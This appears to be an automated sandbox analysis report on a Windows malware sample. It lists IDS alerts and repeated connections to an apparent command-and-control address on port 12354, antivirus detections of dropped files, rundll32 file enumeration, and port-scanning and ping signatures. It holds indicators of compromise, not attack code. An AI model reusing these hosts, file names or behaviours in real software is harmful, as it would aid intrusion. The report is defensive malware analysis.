2024-12-11T16:27:37.537221+0100	2803270	2	Potentially Bad Traffic	192.168.2.4	62613	107.163.241.232	12354	TCP
2024-12-11T16:27:39.245797+0100	2803270	2	Potentially Bad Traffic	192.168.2.4	64627	107.163.241.232	12354	TCP
2024-12-11T16:27:39.245831+0100	2803270	2	Potentially Bad Traffic	192.168.2.4	64462	107.163.241.232	12354	TCP
2024-12-11T16:27:41.488676+0100	2803270	2	Potentially Bad Traffic	192.168.2.4	49506	107.163.241.232	12354	TCP
2024-12-11T16:27:41.628346+0100	2803270	2	Potentially Bad Traffic	192.168.2.4	49593	107.163.241.232	12354	TCP
2024-12-11T16:27:43.288745+0100	2803270	2	Potentially Bad Traffic	192.168.2.4	50767	107.163.241.232	12354	TCP
2024-12-11T16:27:43.288794+0100	2803270	2	Potentially Bad Traffic	192.168.2.4	50611	107.163.241.232	12354	TCP
2024-12-11T16:27:45.518926+0100	2803270	2	Potentially Bad Traffic	192.168.2.4	51437	107.163.241.232	12354	TCP
2024-12-11T16:27:45.660031+0100	2803270	2	Potentially Bad Traffic	192.168.2.4	51444	107.163.241.232	12354	TCP
2024-12-11T16:27:47.275479+0100	2803270	2	Potentially Bad Traffic	192.168.2.4	53345	107.163.241.232	12354	TCP
2024-12-11T16:27:47.275577+0100	2803270	2	Potentially Bad Traffic	192.168.2.4	53248	107.163.241.232	12354	TCP
2024-12-11T16:27:49.519461+0100	2803270	2	Potentially Bad Traffic	192.168.2.4	54800	107.163.241.232	12354	TCP
2024-12-11T16:27:49.628592+0100	2803270	2	Potentially Bad Traffic	192.168.2.4	54887	107.163.241.232	12354	TCP
2024-12-11T16:27:51.290912+0100	2803270	2	Potentially Bad Traffic	192.168.2.4	56382	107.163.241.232	12354	TCP
2024-12-11T16:27:51.292458+0100	2803270	2	Potentially Bad Traffic	192.168.2.4	56402	107.163.241.232	12354	TCP
2024-12-11T16:27:53.517082+0100	2803270	2	Potentially Bad Traffic	192.168.2.4	57106	107.163.241.232	12354	TCP
2024-12-11T16:27:53.647532+0100	2803270	2	Potentially Bad Traffic	192.168.2.4	57159	107.163.241.232	12354	TCP
2024-12-11T16:27:55.307185+0100	2803270	2	Potentially Bad Traffic	192.168.2.4	58391	107.163.241.232	12354	TCP
2024-12-11T16:27:55.307207+0100	2803270	2	Potentially Bad Traffic	192.168.2.4	58418	107.163.241.232	12354	TCP
2024-12-11T16:27:57.532695+0100	2803270	2	Potentially Bad Traffic	192.168.2.4	59860	107.163.241.232	12354	TCP
2024-12-11T16:27:57.690495+0100	2803270	2	Potentially Bad Traffic	192.168.2.4	59960	107.163.241.232	12354	TCP
2024-12-11T16:27:59.472742+0100	2803270	2	Potentially Bad Traffic	192.168.2.4	62038	107.163.241.232	12354	TCP
2024-12-11T16:27:59.472770+0100	2803270	2	Potentially Bad Traffic	192.168.2.4	62150	107.163.241.232	12354	TCP
2024-12-11T16:28:01.758451+0100	2803270	2	Potentially Bad Traffic	192.168.2.4	63631	107.163.241.232	12354	TCP
2024-12-11T16:28:01.862756+0100	2803270	2	Potentially Bad Traffic	192.168.2.4	63702	107.163.241.232	12354	TCP
2024-12-11T16:28:03.565068+0100	2803270	2	Potentially Bad Traffic	192.168.2.4	64439	107.163.241.232	12354	TCP
2024-12-11T16:28:03.565096+0100	2803270	2	Potentially Bad Traffic	192.168.2.4	64580	107.163.241.232	12354	TCP
2024-12-11T16:28:05.860338+0100	2803270	2	Potentially Bad Traffic	192.168.2.4	65394	107.163.241.232	12354	TCP
2024-12-11T16:28:05.928322+0100	2803270	2	Potentially Bad Traffic	192.168.2.4	65425	107.163.241.232	12354	TCP
2024-12-11T16:28:07.572292+0100	2803270	2	Potentially Bad Traffic	192.168.2.4	50784	107.163.241.232	12354	TCP
2024-12-11T16:28:07.572326+0100	2803270	2	Potentially Bad Traffic	192.168.2.4	50786	107.163.241.232	12354	TCP
2024-12-11T16:28:09.815792+0100	2803270	2	Potentially Bad Traffic	192.168.2.4	51537	107.163.241.232	12354	TCP
2024-12-11T16:28:09.923821+0100	2803270	2	Potentially Bad Traffic	192.168.2.4	51675	107.163.241.232	12354	TCP
2024-12-11T16:28:11.601739+0100	2803270	2	Potentially Bad Traffic	192.168.2.4	52693	107.163.241.232	12354	TCP
2024-12-11T16:28:11.601781+0100	2803270	2	Potentially Bad Traffic	192.168.2.4	52558	107.163.241.232	12354	TCP
2024-12-11T16:28:13.849785+0100	2803270	2	Potentially Bad Traffic	192.168.2.4	53852	107.163.241.232	12354	TCP
2024-12-11T16:28:14.066138+0100	2803270	2	Potentially Bad Traffic	192.168.2.4	53858	107.163.241.232	12354	TCP
2024-12-11T16:28:15.775512+0100	2803270	2	Potentially Bad Traffic	192.168.2.4	55592	107.163.241.232	12354	TCP
2024-12-11T16:28:15.775674+0100	2803270	2	Potentially Bad Traffic	192.168.2.4	55780	107.163.241.232	12354	TCP
2024-12-11T16:28:18.018821+0100	2803270	2	Potentially Bad Traffic	192.168.2.4	57024	107.163.241.232	12354	TCP
2024-12-11T16:28:18.127449+0100	2803270	2	Potentially Bad Traffic	192.168.2.4	57172	107.163.241.232	12354	TCP
2024-12-11T16:28:19.790955+0100	2803270	2	Potentially Bad Traffic	192.168.2.4	58942	107.163.241.232	12354	TCP
2024-12-11T16:28:19.790994+0100	2803270	2	Potentially Bad Traffic	192.168.2.4	58949	107.163.241.232	12354	TCP
2024-12-11T16:28:22.019711+0100	2803270	2	Potentially Bad Traffic	192.168.2.4	59852	107.163.241.232	12354	TCP
2024-12-11T16:28:22.145302+0100	2803270	2	Potentially Bad Traffic	192.168.2.4	60003	107.163.241.232	12354	TCP
2024-12-11T16:28:23.802406+0100	2803270	2	Potentially Bad Traffic	192.168.2.4	60904	107.163.241.232	12354	TCP
2024-12-11T16:28:23.802453+0100	2803270	2	Potentially Bad Traffic	192.168.2.4	60937	107.163.241.232	12354	TCP
2024-12-11T16:28:26.316611+0100	2803270	2	Potentially Bad Traffic	192.168.2.4	62256	107.163.241.232	12354	TCP
2024-12-11T16:28:26.324477+0100	2803270	2	Potentially Bad Traffic	192.168.2.4	62272	107.163.241.232	12354	TCP
2024-12-11T16:28:27.816638+0100	2803270	2	Potentially Bad Traffic	192.168.2.4	65425	107.163.241.232	12354	TCP
2024-12-11T16:28:27.816774+0100	2803270	2	Potentially Bad Traffic	192.168.2.4	65168	107.163.241.232	12354	TCP
2024-12-11T16:28:30.066400+0100	2803270	2	Potentially Bad Traffic	192.168.2.4	65528	107.163.241.232	12354	TCP
2024-12-11T16:28:30.404748+0100	2803270	2	Potentially Bad Traffic	192.168.2.4	65533	107.163.241.232	12354	TCP
2024-12-11T16:28:32.331816+0100	2803270	2	Potentially Bad Traffic	192.168.2.4	49186	107.163.241.232	12354	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: otsIBG7J9b.exe

Avira: detected

Antivirus detection for dropped file

Source: C:\ufcpp.exe

Avira: detection malicious, Label: TR/Dropper.Gen

Multi AV Scanner detection for dropped file

Source: C:\agtve\yhnvs.dll

ReversingLabs: Detection: 92%

Multi AV Scanner detection for submitted file

Source: otsIBG7J9b.exe

ReversingLabs: Detection: 86%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for dropped file

Source: C:\ufcpp.exe	Joe Sandbox ML: detected
Source: C:\agtve\yhnvs.dll	Joe Sandbox ML: detected

Machine Learning detection for sample

Source: otsIBG7J9b.exe

Joe Sandbox ML: detected

Source: otsIBG7J9b.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE

Source: C:\Windows\SysWOW64\rundll32.exe

File created: c:\agtve\ReadMe.txt

Jump to behavior

Source: unknown	HTTPS traffic detected: 202.108.0.52:443 -> 192.168.2.4:49854 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 202.108.0.52:443 -> 192.168.2.4:49927 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 202.108.0.52:443 -> 192.168.2.4:50314 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 202.108.0.52:443 -> 192.168.2.4:50813 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 202.108.0.52:443 -> 192.168.2.4:51630 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 202.108.0.52:443 -> 192.168.2.4:55345 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 202.108.0.52:443 -> 192.168.2.4:63751 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 202.108.0.52:443 -> 192.168.2.4:50549 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 202.108.0.52:443 -> 192.168.2.4:52511 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 202.108.0.52:443 -> 192.168.2.4:59533 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 202.108.0.52:443 -> 192.168.2.4:61399 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 202.108.0.52:443 -> 192.168.2.4:52279 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 202.108.0.52:443 -> 192.168.2.4:54480 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 202.108.0.52:443 -> 192.168.2.4:57279 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 202.108.0.52:443 -> 192.168.2.4:60439 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 202.108.0.52:443 -> 192.168.2.4:63924 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 202.108.0.52:443 -> 192.168.2.4:49748 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 202.108.0.52:443 -> 192.168.2.4:52665 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 202.108.0.52:443 -> 192.168.2.4:56120 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 202.108.0.52:443 -> 192.168.2.4:58943 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 202.108.0.52:443 -> 192.168.2.4:60788 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 202.108.0.52:443 -> 192.168.2.4:64219 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 202.108.0.52:443 -> 192.168.2.4:50153 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 202.108.0.52:443 -> 192.168.2.4:53009 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 202.108.0.52:443 -> 192.168.2.4:56323 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 202.108.0.52:443 -> 192.168.2.4:58388 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 202.108.0.52:443 -> 192.168.2.4:61601 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 202.108.0.52:443 -> 192.168.2.4:63849 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 202.108.0.52:443 -> 192.168.2.4:50458 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 202.108.0.52:443 -> 192.168.2.4:52420 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 202.108.0.52:443 -> 192.168.2.4:55203 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 202.108.0.52:443 -> 192.168.2.4:58772 version: TLS 1.2

Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_1000B0A0 lstrcpy,lstrcat,lstrcat,lstrcat,FindFirstFileA,FindNextFileA,rand,lstrcpy,lstrcat,lstrcat,_strcmpi,GetTickCount,srand,rand,rand,rand,rand,rand,rand,rand,rand,wsprintfA,wsprintfA,Sleep,wsprintfA,Sleep,strchr,strchr,strchr,strchr,atoi,DeleteFileA,Sleep,lstrcat,FindNextFileA,FindClose,		5_2_1000B0A0
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_100052A0 FindFirstFileA,wsprintfA,wsprintfA,FindNextFileA,FindClose,		5_2_100052A0

Source: C:\Windows\SysWOW64\rundll32.exe	File opened: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\app1\dc-desktop-app-dropin\	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	File opened: C:\Program Files\Adobe\Acrobat DC\Acrobat\UIThemes\	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	File opened: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	File opened: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\app1\dc-desktop-app-dropin\1.0.0_1.0.0\	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	File opened: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\app1\	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	File opened: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\	Jump to behavior

Networking

System process connects to network (likely due to code injection or exploit)

Source: C:\Windows\SysWOW64\rundll32.exe	Network Connect: 202.108.0.52 80			Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Network Connect: 107.163.241.232 12354			Jump to behavior

Connects to many ports of the same IP (likely port scanning)

Source: global traffic

TCP traffic: 107.163.241.232 ports 1,2,3,4,5,12354

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49753 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 49754 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 49771 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 49772 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 49788 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 49790 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 49805 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 49807 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 49823 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 49826 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 49842 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 49845 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 49860 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 49861 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 49873 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 49876 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 49895 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 49896 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 49910 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 49913 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 49930 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 49932 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 49947 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 49949 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 49969 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 49971 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 49985 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 49987 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50005 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50008 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50024 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50027 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50046 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50048 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50064 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50066 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50086 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50088 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50104 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50106 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50129 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50131 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50147 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50150 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50173 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50175 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50192 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50195 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50223 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50226 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50240 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50243 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50267 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50270 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50295 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50298 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50321 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50324 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50356 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50359 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50389 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50392 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50423 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50429 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50467 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50470 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50500 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50502 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50557 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50563 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50618 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50622 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50687 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50692 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50748 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50753 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50835 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50837 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50912 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50919 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 51045 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 51050 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 51141 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 51148 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 51278 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 51284 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 51378 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 51386 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 51468 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 51478 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 51568 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 51577 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 51658 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 51666 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 51739 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 51741 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 52288 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 52374 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 53686 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 53818 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 55654 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 55673 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 56252 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 56358 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 57170 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 57220 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 58813 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 58979 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 60535 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 60620 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 62221 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 62240 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 64094 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 64295 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 49297 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 49302 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 51032 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 51043 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 51600 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 51644 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 52531 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 52742 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 54225 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 54301 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 56134 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 56227 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 57709 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 57840 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 59956 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 59963 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 60164 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 60300 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 61430 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 61535 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 63248 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 63325 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 65122 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 65178 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50596 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50672 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 52408 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 52411 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 53875 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 53961 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 54837 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 54958 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 55703 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 55711 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 57677 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 58094 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 59142 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 59184 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 60763 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 60899 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 62496 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 62586 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 64241 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 64312 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 65063 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 65171 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 49778 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 49941 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50909 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50940 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 52883 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 53079 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 54632 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 54647 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 56499 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 56578 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 57853 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 57918 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 59080 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 59082 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 60079 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 60227 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 61240 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 61332 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 62610 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 62613 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 64462 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 64627 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 49506 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 49593 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50611 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50767 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 51437 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 51444 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 53248 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 53345 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 54800 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 54887 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 56382 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 56402 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 57106 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 57159 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 58391 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 58418 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 59860 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 59960 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 62038 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 62150 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 63631 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 63702 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 64439 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 64580 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 65394 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 65425 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50784 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50786 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 51537 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 51675 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 52558 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 52693 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 53852 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 53858 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 55592 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 55780 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 57024 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 57172 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 58942 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 58949 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 59852 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 60003 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 60904 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 60937 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 62256 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 62272 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 64270 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 64406 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 64546 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 64711 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 64868 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 64990 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 65101 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 65168 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 65253 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 65425 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 65528 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 65533 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 49186 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 49188 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 49191 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 49353 -> 12354

Uses ping.exe to check the status of other devices and networks

Source: C:\Windows\SysWOW64\cmd.exe
